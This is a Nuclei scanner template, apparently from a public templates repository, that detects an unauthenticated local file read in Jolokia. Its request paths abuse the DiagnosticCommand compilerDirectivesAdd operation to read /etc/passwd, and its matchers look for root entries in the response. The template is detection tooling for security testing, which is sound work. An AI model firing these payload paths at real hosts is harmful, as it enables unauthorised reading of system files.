nuclei-templates/misconfiguration/jolokia-unauthenticated-lfi...

31 lines
898 B
YAML
Raw Normal View History

id: jolokia-unauthenticated-lfi
info:
name: Jolokia - Unauthenticated Local File Read
author: dhiyaneshDk
severity: high
description: This exploit allow you to File read with compilerDirectivesAdd
reference:
- https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/
- https://github.com/laluka/jolokia-exploitation-toolkit
tags: jolokia,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
2021-12-05 11:18:49 +00:00
- "{{BaseURL}}/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
2021-12-05 11:18:49 +00:00
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "compilerDirectivesAdd"
condition: and
- type: status
status:
- 200